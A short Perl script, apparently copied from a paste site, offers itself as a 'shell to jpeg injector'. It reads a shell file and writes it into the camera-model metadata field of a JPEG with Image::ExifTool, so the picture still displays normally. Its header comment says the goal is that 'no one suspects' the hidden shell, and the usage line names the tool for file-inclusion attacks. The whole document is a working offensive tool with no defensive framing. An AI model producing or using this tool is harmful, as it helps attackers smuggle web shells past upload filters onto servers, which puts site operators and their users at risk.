To inject a shell in a JPEG image

OverFli.pl

#################################################
#It is a fairly simple tool                     #
# To inject a shell in a JPEG image             #
# And that it continues and may be displayed    #
# Correctly, this way no one suspects.          #
# All it does is put the shell inside           #
# Metadata of the photo.                        #
# -Taken from pastbin                           #
#################################################

 
use Image::ExifTool;
 
print q(
 
+-----------------------------------+
   Shell to jpeg injector 
+-----------------------------------+
 
);
 
die "[-]Usage: perl 0verLFI.pl <FILE> <IMAGE>\n" unless @ARGV == 2;
 
my $file = $ARGV[0];
my $jpeg = $ARGV[1];
print "[+]Image = $jpeg \n";
print "[+]Shell = $file \n";
 
open (HANDLE, $file);
@array = <HANDLE>;
my $string = join("\n", @array);
 
 
my $tool = Image::ExifTool->new();
 
$tool->ExtractInfo($jpeg);
$tool->SetNewValue("Model", $string);
$done = $tool->WriteInfo($jpeg);